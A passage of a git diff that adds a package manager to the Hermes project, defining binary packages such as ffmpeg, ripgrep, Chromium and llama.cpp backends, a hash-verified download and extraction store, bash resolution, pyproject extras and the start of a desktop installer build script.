dict: + return {"PATH": [str(entry / "cmd"), str(entry / "usr" / "bin")]} + + +@register +class Gh(BinaryPackage): + name = "gh" + optional = True + binary_rel = {"win32": "bin/gh.exe", "posix": "bin/gh"} + + def fetch_url(self, version: str, target: str) -> str: + osname, arch = target.split("-") + plat = {"win32": "windows", "linux": "linux", "darwin": "macOS"}[osname] + arch = {"x64": "amd64", "arm64": "arm64"}[arch] + ext = "zip" if osname in ("win32", "darwin") else "tar.gz" + return ( + f"https://github.com/cli/cli/releases/download/v{version}/" + f"gh_{version}_{plat}_{arch}.{ext}" + ) + + +@register +class Ffmpeg(BinaryPackage): + """Static ffmpeg. GPLv3 builds; always bundled. + optional=False: ffmpeg is a required runtime tool. Sealed bundles ship + it baked into the payload (post_update skips provisioning sealed + installs — the artifact is atomic); dev installs get it re-ensured by + step_provision_runtimes when the pin bumps. Windows: BtbN/FFmpeg-Builds + (dated autobuild tag; ships ffprobe too). Linux + macOS: + ffmpeg.martin-riedl.de (uniform ZIP, published sha256; single-binary — + no ffprobe).""" + + name = "ffmpeg" + optional = False + # martin-riedl (posix) zips are a single `ffmpeg` file at the zip root; + # BtbN (win32) zips carry bin/ffmpeg.exe under one top-level dir that + # flatten hoists. + binary_rel = {"win32": "bin/ffmpeg.exe", "posix": "ffmpeg"} + flatten = True + # BtbN autobuild n9.0.1-11-ge47273f4d9 rejects `--version` + # ("Unrecognized option '-version'", exit 2880417800); `-version` works + # and is accepted by every ffmpeg build. + probe_args = ["-version"] + + def fetch_url(self, version: str, target: str) -> str: + osname, arch = target.split("-") + if osname == "win32": + # BtbN ships branch builds; the URL is the immutable dated tag. + return ( + "https://github.com/BtbN/FFmpeg-Builds/releases/download/" + f"autobuild-{self._btbn_tag}/{self._btbn_asset(target)}" + ) + martin = { + ("linux", "x64"): "linux/amd64/1787074600_9.0.1", + ("linux", "arm64"): "linux/arm64/1787072884_9.0.1", + ("darwin", "x64"): "macos/amd64/1787081194_9.0.1", + ("darwin", "arm64"): "macos/arm64/1787073674_9.0.1", + } + return f"https://ffmpeg.martin-riedl.de/download/{martin[(osname, arch)]}/ffmpeg.zip" + + def _btbn_tag(self) -> str: + return "2026-08-28-17-08" + + def _btbn_asset(self, target: str) -> str: + arch = "arm64" if target.endswith("arm64") else "64" + return ( + "ffmpeg-n9.0.1-11-ge47273f4d9-" + f"win{arch}-gpl-9.0.zip" + ) + + + +@register +class Ripgrep(BinaryPackage): + name = "ripgrep" + binary_rel = {"win32": "rg.exe", "posix": "rg"} + + def fetch_url(self, version: str, target: str) -> str: + triple = _RUST_TRIPLE[target].replace("-unknown-linux-gnu", "-unknown-linux-musl") + ext = "zip" if target.startswith("win32") else "tar.gz" + return ( + f"https://github.com/BurntSushi/ripgrep/releases/download/{version}/" + f"ripgrep-{version}-{triple}.{ext}" + ) + + +@register +class CuaDriver(BinaryPackage): + name = "cua-driver" + optional = True + binary_rel = {"win32": "cua-driver.exe", "posix": "cua-driver"} + + def fetch_url(self, version: str, target: str) -> str: + arch = { + "darwin-x64": "darwin-universal", + "darwin-arm64": "darwin-universal", + "linux-x64": "linux-x86_64", + "linux-arm64": "linux-arm64", + "win32-x64": "windows-x86_64", + "win32-arm64": "windows-arm64", + }[target] + ext = "zip" if target.startswith("win32") else "tar.gz" + return ( + f"https://github.com/trycua/cua/releases/download/cua-driver-rs-v{version}/" + f"cua-driver-rs-{version}-{arch}-binary.{ext}" + ) + + def stage(self, store: Store, staged: Path, version: str, target: str) -> None: + flatten_single_dir(staged) + sdk = staged / "sdk" + if sdk.is_dir(): + shutil.rmtree(sdk, ignore_errors=True) + + def _probe_env(self) -> dict: + """The probe IS a first run: it must not mint telemetry state.""" + try: + from tools.computer_use.cua_backend import cua_driver_child_env + + return cua_driver_child_env() + except Exception: + return dict(os.environ, CUA_DRIVER_RS_TELEMETRY_ENABLED="0") + + +@register +class AgentBrowser(BinaryPackage): + name = "agent-browser" + optional = True + deps = ("chromium", "chromium-headless-shell") + flatten = True + probe_version = False + url = "https://registry.npmjs.org/agent-browser/-/agent-browser-{version}.tgz" + # No win32-arm64 gap: agent-browser ships only win32-x64, and Windows + # ARM64 runs it via built-in emulation (its own postinstall falls back + # to x64 on arm64). chromium is likewise the x64 build on win32-arm64. + emulated_arch_targets = frozenset({"win32-arm64"}) + + def _rel(self, target: str) -> Optional[str]: + ext = ".exe" if target.startswith("win32") else "" + # Windows ARM64 runs the x64 binary under built-in emulation: + # agent-browser ships no native arm64 build (its own postinstall + # falls back to x64 on arm64), so the staged name is win32-x64. + if target == "win32-arm64": + target = "win32-x64" + return f"bin/agent-browser-{target}{ext}" + + def binary(self, entry: Path, target: str) -> Optional[Path]: + # The win32-arm64 payload carries the x64 binary (emulated), so + # resolve it under the win32-x64 name. + return super().binary(entry, "win32-x64" if target == "win32-arm64" else target) + + def stage(self, store: Store, staged: Path, version: str, target: str) -> None: + flatten_single_dir(staged) + bin_dir = staged / "bin" + if not bin_dir.is_dir(): + raise InstallError(self.name, "staged without a bin/ directory") + keep = Path(self._rel(target)).name + if not (bin_dir / keep).is_file(): + raise InstallError(self.name, f"{keep} missing from the staged tarball") + for item in bin_dir.iterdir(): + if item.is_file() and item.name.startswith("agent-browser-") and item.name != keep: + item.unlink() + + +class PlaywrightBrowser(Package): + """Playwright resolves browsers by DIRECTORY NAME under one root: + `-`, no target suffix. The env points + PLAYWRIGHT_BROWSERS_PATH at the store root itself. The entry carries + the INSTALLATION_COMPLETE marker playwright checks. + + The version is `+` — most targets + download from the Chrome-for-Testing CDN by chrome version, and the + targets CfT doesn't build (linux-arm64) come from playwright's own + mirror by revision. The store entry is named by revision only, which + is all playwright's resolver reads.""" + + optional = True + on_path = False + _CDN = "https://cdn.playwright.dev" + + # Chrome-for-Testing platform names; targets absent here fall back to + # playwright's dbazure mirror with its own platform names. + # win32-arm64 uses the win64 (x64) build: CfT publishes no native + # win-arm64 chromium, and Windows ARM64 runs x64 binaries via built-in + # emulation — the same choice agent-browser's own postinstall makes. + _CFT = { + "linux-x64": "linux64", + "darwin-x64": "mac-x64", + "darwin-arm64": "mac-arm64", + "win32-x64": "win64", + "win32-arm64": "win64", + } + _MIRROR = {"linux-arm64": "linux-arm64"} + _FILE = "" # "chrome" / "chrome-headless-shell" + _MIRROR_FILE = "" # "chromium" / "chromium-headless-shell" + + def store_entry(self, version: str, target: str) -> str: + revision = version.partition("+")[0] + return f"{self.name.replace('-', '_')}-{revision}" + + def fetch_url(self, version: str, target: str) -> str: + revision, _, chrome = version.partition("+") + plat = self._CFT.get(target) + if plat and chrome: + return f"{self._CDN}/builds/cft/{chrome}/{plat}/{self._FILE}-{plat}.zip" + mirror_plat = self._MIRROR[target] + return ( + f"{self._CDN}/dbazure/download/playwright/builds/chromium/" + f"{revision}/{self._MIRROR_FILE}-{mirror_plat}.zip" + ) + + def stage(self, store: Store, staged: Path, version: str, target: str) -> None: + (staged / "INSTALLATION_COMPLETE").write_text("", encoding="utf-8") + + def verify(self, entry: Path, target: str) -> str: + marker = entry / "INSTALLATION_COMPLETE" + if marker.is_file(): + return "" + return f"INSTALLATION_COMPLETE missing under {entry}; {_entry_listing(entry)}" + + def env(self, entry: Path, target: str) -> dict: + return {"PLAYWRIGHT_BROWSERS_PATH": str(entry.parent)} + + +@register +class Chromium(PlaywrightBrowser): + name = "chromium" + _FILE = "chrome" + _MIRROR_FILE = "chromium" + + +@register +class ChromiumHeadlessShell(PlaywrightBrowser): + name = "chromium-headless-shell" + _FILE = "chrome-headless-shell" + _MIRROR_FILE = "chromium-headless-shell" + + +class LlamaCpp(BinaryPackage): + """One llama.cpp backend build. Backends are dlopen'd plugins, so a + usable engine is one archive per (target, backend) — plus, for Windows + CUDA, the cudart archive: end users have no CUDA toolkit, and Windows + resolves a DLL from the loading executable's own directory, so those + DLLs must land beside llama-server.exe rather than in a second entry. + + Backend is a HARDWARE choice, not a target, so each backend is its own + optional package and the runtime asks for the one this machine can + use. Version is llama.cpp's rolling release tag without the `b`. + """ + + optional = True + on_path = False + binary_rel = {"win32": "llama-server.exe", "posix": "llama-server"} + flatten = False + # --version is llama-server's liveness proof AND the check that the + # backend's shared libraries resolve: a CUDA build with no cudart + # beside it fails here rather than at first chat. + probe_cwd = True + + backend: str = "" + # Release-asset infix per target, or absent where upstream ships none. + assets: dict[str, str] = {} + + @property + def gaps(self) -> dict[str, str]: # type: ignore[override] + return { + target: f"llama.cpp publishes no {self.backend} build for {target}" + for target in ALL_TARGETS + if target not in self.assets + } + + def _asset_names(self, version: str, target: str) -> list[str]: + ext = "zip" if target.startswith("win32") else "tar.gz" + return [f"llama-b{version}-bin-{self.assets[target]}.{ext}"] + + def fetch_urls(self, version: str, target: str) -> list[str]: + return [ + f"https://github.com/ggml-org/llama.cpp/releases/download/b{version}/{asset}" + for asset in self._asset_names(version, target) + ] + + def fetch_url(self, version: str, target: str) -> str: + return self.fetch_urls(version, target)[0] + + def known_sha256(self, version: str, url: str) -> Optional[str]: + """GitHub's release API serves every asset's digest, so pinning a + 280 MB engine costs one API call instead of the download.""" + return _github_release_digests("ggml-org/llama.cpp", f"b{version}").get( + url.rsplit("/", 1)[-1] + ) + + def stage(self, store: Store, staged: Path, version: str, target: str) -> None: + """Some archives nest the binaries under build/bin; hoist them so + binary_rel is one path for every target.""" + if (staged / self.binary(staged, target).name).is_file(): + return + found = sorted(staged.rglob(self.binary(staged, target).name)) + if not found: + raise InstallError(self.name, "archive contains no llama-server") + merge_tree(found[0].parent, staged) + + +def _github_release_digests(repo: str, tag: str) -> dict[str, str]: + import json + import urllib.request + + cached = _release_digest_cache.get((repo, tag)) + if cached is not None: + return cached + url = f"https://api.github.com/repos/{repo}/releases/tags/{tag}" + try: + with urllib.request.urlopen( + urllib.request.Request(url, headers={"User-Agent": "hermes-pm"}), + timeout=120, + ) as resp: + release = json.load(resp) + except Exception: + return {} + digests = {} + for asset in release.get("assets", []): + digest = (asset.get("digest") or "").partition("sha256:")[2] + if digest: + digests[asset["name"]] = digest + _release_digest_cache[(repo, tag)] = digests + return digests + + +_release_digest_cache: dict[tuple, dict] = {} + + +@register +class LlamaCppCuda(LlamaCpp): + """Windows only: upstream publishes no prebuilt Linux CUDA archive at + current tags, so NVIDIA Linux users run the vulkan build.""" + + name = "llamacpp-cuda" + backend = "cuda" + # CUDA 13.3 verified against 13.1/13.2 drivers; arm64 prebuilts landed + # on 13.4 (the only CUDA line upstream builds for win-arm64). + assets = { + "win32-x64": "win-cuda-13.3-x64", + "win32-arm64": "win-cuda-13.4-arm64", + } + _CUDART = {"win32-x64": "13.3-x64", "win32-arm64": "13.4-arm64"} + + def _asset_names(self, version: str, target: str) -> list[str]: + return super()._asset_names(version, target) + [ + f"cudart-llama-bin-win-cuda-{self._CUDART[target]}.zip" + ] + + +@register +class LlamaCppVulkan(LlamaCpp): + name = "llamacpp-vulkan" + backend = "vulkan" + assets = { + "win32-x64": "win-vulkan-x64", + "linux-x64": "ubuntu-vulkan-x64", + "linux-arm64": "ubuntu-vulkan-arm64", + } + + +@register +class LlamaCppMetal(LlamaCpp): + """macOS archives are unified builds with Metal compiled in.""" + + name = "llamacpp-metal" + backend = "metal" + assets = {"darwin-x64": "macos-x64", "darwin-arm64": "macos-arm64"} + + +@register +class LlamaCppCpu(LlamaCpp): + name = "llamacpp-cpu" + backend = "cpu" + assets = { + "win32-x64": "win-cpu-x64", + "win32-arm64": "win-cpu-arm64", + "linux-x64": "ubuntu-x64", + "linux-arm64": "ubuntu-arm64", + "darwin-x64": "macos-x64", + "darwin-arm64": "macos-arm64", + } diff --git a/pm/paths.py b/pm/paths.py new file mode 100644 index 0000000000..4af1b829a5 --- /dev/null +++ b/pm/paths.py @@ -0,0 +1,52 @@ +"""Where the store, lockfile, and installed-state file live.""" + +from __future__ import annotations + +import json +import os +from functools import lru_cache +from pathlib import Path + + +def repo_root() -> Path: + return Path(__file__).resolve().parent.parent + + +def lockfile_path() -> Path: + return Path(__file__).resolve().parent / "lock.json" + + +@lru_cache(maxsize=1) +def _stamp() -> dict: + for parent in (repo_root(), *repo_root().parents): + stamp = parent / "install-stamp.json" + if stamp.is_file(): + try: + return json.loads(stamp.read_text(encoding="utf-8-sig")) + except (OSError, ValueError): + return {} + return {} + + +def store_root() -> Path: + """The byte store. Entries are keyed (package, version, target) and + hold nothing profile-specific, so the store is MACHINE-scoped: a + second profile reuses the engine and browser this machine already + downloaded instead of fetching its own copy. + + A payload overrides it — a sealed bundle carries its own store beside + its manifest, and that IS per-install by construction. + """ + env = os.environ.get("HERMES_RUNTIME_DIR") + if env: + return Path(env).resolve() + stamped = _stamp().get("runtimeDir") + if stamped: + return Path(stamped).resolve() + from hermes_constants import get_default_hermes_root + + return get_default_hermes_root() / "tools" + + +def facts_path() -> Path: + return store_root() / "facts.json" diff --git a/pm/registry.py b/pm/registry.py new file mode 100644 index 0000000000..b75270b7ac --- /dev/null +++ b/pm/registry.py @@ -0,0 +1,45 @@ +"""Package registry and dependency walk.""" + +from __future__ import annotations + +from pm.package import Package + +_packages: dict[str, Package] = {} + + +def register(cls): + instance = cls() + if not instance.name: + raise ValueError("package has no name") + _packages[instance.name] = instance + return cls + + +def get_package(name: str) -> Package: + if name not in _packages: + raise KeyError(f"unknown package: {name}") + return _packages[name] + + +def all_packages() -> list[str]: + return sorted(_packages) + + +def walk(names: list[str]) -> list[Package]: + """Deps-first topological order over the requested packages.""" + seen: dict[str, Package] = {} + + def visit(name: str, chain: tuple[str, ...]) -> None: + if name in chain: + cycle = " -> ".join(chain + (name,)) + raise ValueError(f"dependency cycle: {cycle}") + if name in seen: + return + package = get_package(name) + for dep in package.deps: + visit(dep, chain + (name,)) + seen[name] = package + + for name in names: + visit(name, ()) + return list(seen.values()) diff --git a/pm/shell.py b/pm/shell.py new file mode 100644 index 0000000000..6e9f7e4a5e --- /dev/null +++ b/pm/shell.py @@ -0,0 +1,84 @@ +"""pm.shell(): the one place Hermes resolves the shell it runs commands with. + +Owned by pm because the shell is a bundled tool on Windows (Git for Windows +carries bash.exe), and the store is the authority on whether it exists. +Callers that need bash (the terminal backend, `_find_bash`) call this instead +of hunting fixed locations. + +Resolution order: + 1. Windows: the git Package's staged bash (via facts.json) — the store + structurally guarantees it in a bundle; no hunt. + 2. Provisioned PATH: shutil.which("bash") — the store dirs are on the + process PATH after pm.activate() ran. + 3. POSIX fallback table for non-bundle / daemon-launch PATH edge cases + (/usr/bin/bash, /bin/bash, $SHELL, /bin/sh). A systemd/cron-launched + gateway may have a minimal PATH and macOS /bin/bash is not on PATH by + default, so `which` alone is not enough there. +""" + +from __future__ import annotations + +import os +import shutil + +from pm import paths +from pm.lock import Facts + + +def _staged_bash() -> str | None: + """The git Package's bash.exe under the store (Windows bundles only).""" + import platform + + if platform.system() != "Windows": + return None + facts_path = paths.facts_path() + if not facts_path.is_file(): + return None + try: + facts = Facts(facts_path) + fact = facts.get("git") + if fact is None or "entry" not in fact: + return None + entry = paths.store_root() / fact["entry"] + for candidate in ( + entry / "usr" / "bin" / "bash.exe", + entry / "bin" / "bash.exe", + ): + if candidate.is_file(): + return str(candidate) + except Exception: + return None + return None + + +def bash() -> str | None: + """Resolve the bash binary to use, or None if none is available.""" + staged = _staged_bash() + if staged: + return staged + + on_path = shutil.which("bash") + # An MSIX-packaged bash (WindowsApps alias) only spawns inside its + # package's context — from an arbitrary process (dev checkout, test + # child, emulated-python CreateProcess) it fails with WinError 5. + # Prefer a conventional install when one exists. + if on_path and "windowsapps" not in on_path.lower(): + return on_path + if on_path and os.name == "nt": + programfiles = os.environ.get("ProgramFiles", r"C:\Program Files") + for rel in (("Git", "bin", "bash.exe"), ("Git", "usr", "bin", "bash.exe")): + cand = os.path.join(programfiles, *rel) + if os.path.isfile(cand): + return cand + return on_path # nothing conventional — the packaged one is all there is + + # POSIX fallbacks for minimal-PATH daemon launches / macOS /bin/bash. + for candidate in ( + "/usr/bin/bash", + "/bin/bash", + os.environ.get("SHELL"), + "/bin/sh", + ): + if candidate and os.path.isfile(candidate) and os.access(candidate, os.X_OK): + return candidate + return None diff --git a/pm/store.py b/pm/store.py new file mode 100644 index 0000000000..9a467bf825 --- /dev/null +++ b/pm/store.py @@ -0,0 +1,344 @@ +"""Machine-wide byte store: download, verify, extract, publish atomically.""" + +from __future__ import annotations + +import os +import platform +import shutil +import stat +import sys +import tempfile +import time +from contextlib import contextmanager +from pathlib import Path + +_UA = {"User-Agent": "hermes-pm"} + + +ALL_TARGETS = ( + "win32-x64", + "win32-arm64", + "linux-x64", + "linux-arm64", + "darwin-x64", + "darwin-arm64", +) + + +def _native_machine() -> str: + """The MACHINE's architecture, not the interpreter's. An x64 python on + Windows-on-ARM reports AMD64 — staging a payload for the wrong target. + IsWow64Process2 reports the real machine regardless of emulation.""" + if sys.platform.startswith("win"): + try: + import ctypes + from ctypes import wintypes + + k32 = ctypes.WinDLL("kernel32", use_last_error=True) + k32.GetCurrentProcess.restype = wintypes.HANDLE + k32.IsWow64Process2.argtypes = [ + wintypes.HANDLE, + ctypes.POINTER(ctypes.c_ushort), + ctypes.POINTER(ctypes.c_ushort), + ] + k32.IsWow64Process2.restype = wintypes.BOOL + process_machine = ctypes.c_ushort() + native_machine = ctypes.c_ushort() + if k32.IsWow64Process2( + k32.GetCurrentProcess(), + ctypes.byref(process_machine), + ctypes.byref(native_machine), + ): + if native_machine.value == 0xAA64: + return "arm64" + if native_machine.value == 0x8664: + return "x86_64" + except Exception: + pass + # Pre-IsWow64Process2 hosts: WOW64 exposes the real machine here. + wow = os.environ.get("PROCESSOR_ARCHITEW6432", "") + if wow.upper() == "ARM64": + return "arm64" + if wow.upper() == "AMD64": + return "x86_64" + return platform.machine().lower() + + +def current_target() -> str: + machine = _native_machine() + if machine in ("arm64", "aarch64"): + arch = "arm64" + elif machine in ("x86_64", "amd64", "x64"): + arch = "x64" + else: + raise RuntimeError(f"unsupported architecture: {platform.machine()}") + if sys.platform.startswith("win"): + return f"win32-{arch}" + if sys.platform == "darwin": + return f"darwin-{arch}" + return f"linux-{arch}" + + +def sha256_file(path: Path) -> str: + import hashlib + + digest = hashlib.sha256() + with open(path, "rb") as f: + for block in iter(lambda: f.read(1024 * 1024), b""): + digest.update(block) + return digest.hexdigest() + + +def hash_url(url: str) -> str: + """sha256 of a url's content, streamed. `pm lock` uses this to pin.""" + import hashlib + import urllib.request + + from pm.downloader import _OPENER + + digest = hashlib.sha256() + with _OPENER.open( + urllib.request.Request(url, headers=_UA), timeout=600 + ) as resp: + for block in iter(lambda: resp.read(1024 * 1024), b""): + digest.update(block) + return digest.hexdigest() + + +def download(url: str, dest: Path, sha256: str, progress=None) -> Path: + """Fetch url into dest dir, hash-verified, via the resumable downloader. + The digest is proven before the caller ever sees the file. + ``progress(done, total)`` ticks per chunk — a several-hundred-MB engine + archive on a slow line must never look hung. Partial state lives in the + store's managed partials area (outside scratch, keyed by sha256(url)), so + an interrupted = failed fetch resumes on the next call instead of + re-fetching the whole archive. Non-https/non-loopback urls are refused by + Download itself (ValueError).""" + from pm.downloader import Download, Source + + dest.mkdir(parents=True, exist_ok=True) + archive = dest / url.rsplit("/", 1)[-1] + p = (lambda d, t, r: progress(d, t)) if progress is not None else None + Download([Source(url, archive, sha256)]).run(progress=p) + return archive + + +def extract(archive: Path, dest: Path) -> None: + import tarfile + + shutil.rmtree(dest, ignore_errors=True) + dest.mkdir(parents=True, exist_ok=True) + name = archive.name.lower() + if name.endswith((".tar.gz", ".tgz", ".tar.xz", ".txz", ".tar.bz2")): + with tarfile.open(archive) as tf: + tf.extractall(dest, filter="data") + elif name.endswith(".zip"): + _extract_zip(archive, dest) + else: + raise ValueError(f"unsupported archive: {archive.name}") + + +def _extract_zip(archive: Path, dest: Path) -> None: + import zipfile + + with zipfile.ZipFile(archive) as zf: + symlinks: list[tuple] = [] + for info in zf.infolist(): + mode = info.external_attr >> 16 + if stat.S_ISLNK(mode): + symlinks.append((info, zf.read(info).decode("utf-8"))) + continue + written = Path(zf.extract(info, dest)) + if mode & 0o111 and written.is_file(): + written.chmod(mode & 0o777) + for info, target in symlinks: + _zip_symlink(info.filename, target, dest) + + +def _zip_symlink(member: str, target: str, dest: Path) -> None: + root = dest.resolve() + link = (root / member).resolve() + if not link.is_relative_to(root): + return + if Path(target).is_absolute(): + return + resolved = (link.parent / target).resolve() + if not resolved.is_relative_to(root): + return + link.parent.mkdir(parents=True, exist_ok=True) + try: + link.symlink_to(target) + except OSError: + link.write_text(target, encoding="utf-8") + + +def flatten_single_dir(dest: Path) -> None: + """Hoist a lone top-level dir's contents unless it IS the layout + (bin/, cmd/, lib/...). Refuses on name collisions.""" + keep = {"bin", "cmd", "lib", "libexec", "share", "etc", "usr"} + entries = list(dest.iterdir()) + if len(entries) != 1 or not entries[0].is_dir() or entries[0].name in keep: + return + inner = entries[0] + for item in list(inner.iterdir()): + target = dest / item.name + if target.exists(): + return + item.rename(target) + inner.rmdir() + + +def merge_tree(src: Path, dst: Path) -> None: + """Move src's tree into dst, keeping both layouts. A file present in + both is unresolvable — two archives disagreeing about one file cannot + be settled by extraction order, so it fails loudly instead.""" + for item in sorted(src.rglob("*")): + if item.is_dir(): + continue + rel = item.relative_to(src) + target = dst / rel + if target.exists(): + raise FileExistsError(f"archives disagree about {rel}") + target.parent.mkdir(parents=True, exist_ok=True) + item.replace(target) + + +def tree_digest(root: Path) -> str: + """Deterministic sha256 over a directory tree: walk every file, sort + by posix relpath, hash `relpath\\0` per entry. No mtimes, no + mode bits. Symlinks contribute their LINK TARGET TEXT (os.readlink), + not the target's bytes — the link is the data. Directory symlinks are + not followed.""" + import hashlib + + files: list[tuple[str, Path]] = [] + for dirpath, dirnames, filenames in os.walk(root): + dirnames.sort() + for fname in filenames: + path = Path(dirpath) / fname + files.append((path.relative_to(root).as_posix(), path)) + files.sort(key=lambda item: item[0]) + + digest = hashlib.sha256() + for rel, path in files: + digest.update(rel.encode("utf-8")) + digest.update(b"\0") + if path.is_symlink(): + digest.update(os.readlink(path).encode("utf-8")) + else: + with open(path, "rb") as f: + for block in iter(lambda: f.read(1024 * 1024), b""): + digest.update(block) + return digest.hexdigest() + + +class Store: + """One directory of immutable published entries plus a scratch area. + Downloads are entries too, keyed by hash, so rebuilds never re-fetch.""" + + def __init__(self, root: Path): + self.root = root + + def entry(self, name: str) -> Path: + return self.root / name + + def published(self, name: str) -> bool: + return self.entry(name).is_dir() + + def fetch(self, url: str, sha256: str, scratch: Path, progress=None) -> Path: + """Verified archive for url, from the store if already fetched. + The cache entry is `fetch-/` holding the single file. + The cached file is RE-HASHED against the requested digest before + it is returned: the cache lives on a mutable disk, so trust is + re-proven, not assumed. On mismatch the entry is deleted and the + archive re-downloaded (the 100MB+ re-hash is install-time only).""" + entry_name = f"fetch-{sha256}" + entry = self.entry(entry_name) + if entry.is_dir(): + files = [p for p in entry.iterdir() if p.is_file()] + if len(files) == 1 and sha256_file(files[0]) == sha256: + return files[0] + shutil.rmtree(entry, ignore_errors=True) + archive = download(url, scratch, sha256, progress=progress) + staged = scratch / entry_name + staged.mkdir(parents=True) + archive.rename(staged / archive.name) + published = self.publish(staged, entry_name) + return published / archive.name + + @contextmanager + def scratch(self): + self.root.mkdir(parents=True, exist_ok=True) + path = Path(tempfile.mkdtemp(prefix=".staging-", dir=self.root)) + try: + yield path + finally: + shutil.rmtree(path, ignore_errors=True) + + def publish(self, staged: Path, name: str) -> Path: + """Atomic rename into place, retried for Windows file-lock holds + (Defender, indexers). A concurrent winner's entry is kept.""" + target = self.entry(name) + delay = 0.5 + for _ in range(5): + try: + os.replace(staged, target) + return target + except OSError: + if target.is_dir(): + return target + time.sleep(delay) + delay *= 2 + try: + os.replace(staged, target) + except OSError: + if not target.is_dir(): + raise + return target + + @contextmanager + def install_lock(self): + """Single-flight advisory lock for all installs on this machine. + Blocks until acquired: installs legitimately hold it for minutes + (browser downloads), so the Windows rung polls LK_NBLCK instead of + msvcrt's 10-second LK_LOCK ladder.""" + self.root.mkdir(parents=True, exist_ok=True) + lock_path = self.root / ".install.lock" + handle = open(lock_path, "a+b") + try: + if sys.platform.startswith("win"): + import msvcrt + + handle.seek(0) + waited = 0 + while True: + try: + msvcrt.locking(handle.fileno(), msvcrt.LK_NBLCK, 1) + break + except OSError: + if waited == 5: + print("waiting for another hermes install to finish...") + time.sleep(1) + waited += 1 + else: + import fcntl + + try: + fcntl.flock(handle, fcntl.LOCK_EX | fcntl.LOCK_NB) + except OSError: + print("waiting for another hermes install to finish...") + fcntl.flock(handle, fcntl.LOCK_EX) + yield + finally: + try: + if sys.platform.startswith("win"): + import msvcrt + + handle.seek(0) + msvcrt.locking(handle.fileno(), msvcrt.LK_UNLCK, 1) + else: + import fcntl + + fcntl.flock(handle, fcntl.LOCK_UN) + finally: + handle.close() diff --git a/pyproject.toml b/pyproject.toml index a3f22c9638..1ce949d551 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -134,7 +134,10 @@ dependencies = [ # without an explicit dependency here (and in the `web` extra below). "python-multipart>=0.0.9,<1", "ptyprocess>=0.7.0,<1; sys_platform != 'win32'", - "pywinpty>=2.0.0,<3; sys_platform == 'win32'", + # pywinpty ships win_amd64 wheels only (winpty has no ARM64 support), so + # win32-arm64 would build the Rust sdist from source and fail — same + # exclusion faster-whisper carries for its missing win_arm64 wheel. + "pywinpty>=2.0.0,<3; sys_platform == 'win32' and platform_machine != 'ARM64'", # Desktop SSH's Windows remote runtime (hermes_cli/windows_ssh_runtime.py) # imports win32security/win32file/etc. directly — declare pywin32 rather than # relying on the concurrent-log-handler → portalocker transitive chain. @@ -223,7 +226,10 @@ voice = [ wake = [ "openwakeword==0.6.0", "onnxruntime==1.27.0", - "sherpa-onnx==1.13.4", + # sherpa-onnx ships win_amd64/win32 wheels only (its kaldi-decoder C++ has + # no win_arm64 build), so win32-arm64 would build the sdist and fail. Gate + # it off there like faster-whisper; the other engines still ship. + "sherpa-onnx==1.13.4; platform_machine != 'ARM64' or sys_platform != 'win32'", "sentencepiece==0.2.2", "pvporcupine==4.0.3", "sounddevice==0.5.5", @@ -235,6 +241,33 @@ wake = [ "ai-edge-litert==2.1.6; platform_system == 'Darwin'", ] honcho = ["honcho-ai==2.2.0"] +# Platform sub-extras / alias extras — declared so pm.extras.ANCHORS names +# only real extras (contract: tests/pm/test_extras.py). Each is +# lazy-installed at first use via pm.ensure_import(name) and therefore +# deliberately NOT in [all] (see tests/test_project_metadata.py's +# lazy_covered_extras list — keep that list in sync when adding here). +telegram = ["python-telegram-bot[webhooks]==22.8"] +discord = ["discord.py[voice]==2.7.1"] +# stt-whisper + audio-io compose [voice] (faster-whisper / sounddevice / numpy). +stt-whisper = ["faster-whisper==1.2.1"] +audio-io = ["sounddevice==0.5.5", "numpy==2.4.3"] +# WeChat voice decode (tools/transcription_tools.py self-heal path). +silk = ["pilk==0.2.4"] +# Wake-engine sub-extras — lazy per-engine installs so a user who only wants +# sherpa-onnx doesn't pull the whole [wake] bundle. Pins match [wake]. +wake-openwakeword = ["openwakeword==0.6.0", "onnxruntime==1.27.0"] +wake-sherpa = ["sherpa-onnx==1.13.4; platform_machine != 'ARM64' or sys_platform != 'win32'"] +wake-porcupine = ["pvporcupine==4.0.3"] +# macOS tflite bridge (tools/wake_word.py); same marker policy as [wake]. +wake-tflite = ["ai-edge-litert==2.1.6; platform_system == 'Darwin'"] +# Google Chat service account push (gateway/platforms/google_chat) — pubsub +# subscriber for the Chat API's Cloud Pub/Sub delivery. +google-chat = ["google-cloud-pubsub==2.39.2"] +# Document extraction (read_file anydoc converter self-heal) — core already +# bundles firecrawl-anydoc==0.2.4; the extra exists so a lean/broken install +# can re-sync exactly the pin from core. +doc-extract = ["firecrawl-anydoc==0.2.4"] +trace-upload = ["huggingface-hub==1.24.0"] # Cloud memory providers — opt-in, lazy-installed via tools/lazy_deps.py # (memory.supermemory / memory.mem0) at first use. Exact pins MUST match the # LAZY_DEPS pins (enforced by tests/test_project_metadata.py). Deliberately diff --git a/scripts/build-bundled-desktop.mjs b/scripts/build-bundled-desktop.mjs new file mode 100644 index 0000000000..7aeaac35a0 --- /dev/null +++ b/scripts/build-bundled-desktop.mjs @@ -0,0 +1,439 @@ +#!/usr/bin/env node +// build-bundled-desktop.mjs — one local=CI driver for a bundled desktop +// installer. Every step always runs. A skipped step is a different artifact. +// +// 1. preflight: git + npm; a release tag is resolvable +// 2. npm ci at the repo root (stamp-gated) +// 3. build ui-tui and the dashboard SPA +// 4. pm bundle (repo snapshot + tool store + relocatable venv) +// 5. plant the just-built JS surfaces into the staged payload +// (git archive only carries committed files; those dists are gitignored) +// 6. npm run build + builder in apps/desktop +// +// Usage: +// node scripts/build-bundled-desktop.mjs --tag=v0.20.5 +// node scripts/build-bundled-desktop.mjs --tag=v0.20.5 --variant=bundled +// +// Signing is CI's job. Local builds are unsigned. + +import { createHash } from 'node:crypto' +import { execSync, spawnSync } from 'node:child_process' +import fs from 'node:fs' +import os from 'node:os' +import path from 'node:path' +import { fileURLToPath } from 'node:url' + +import { CLI_LAUNCHER_SPECS, posixTrampolineScripts, renderWinWrapper } from './desktop-cli/cli-entrypoints.mjs' +import { windowsFileVersion } from '../apps/desktop/scripts/windows-file-version.mjs' +import { relativizePayloadLinks, stripFetchCache } from '../apps/desktop/scripts/materialize-payload-links.mjs' +import { nightlyBuildMinutes } from './msix-shared.mjs' + +const REPO_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..') +const PAYLOAD_DIR = path.join(REPO_ROOT, 'apps', 'desktop', 'build', 'agent-payload') + +const args = process.argv.slice(2) +for (const flag of ['--no-install', '--no-package']) { + if (args.includes(flag)) { + fail(`${flag} is retired: every release build runs every step`) + } 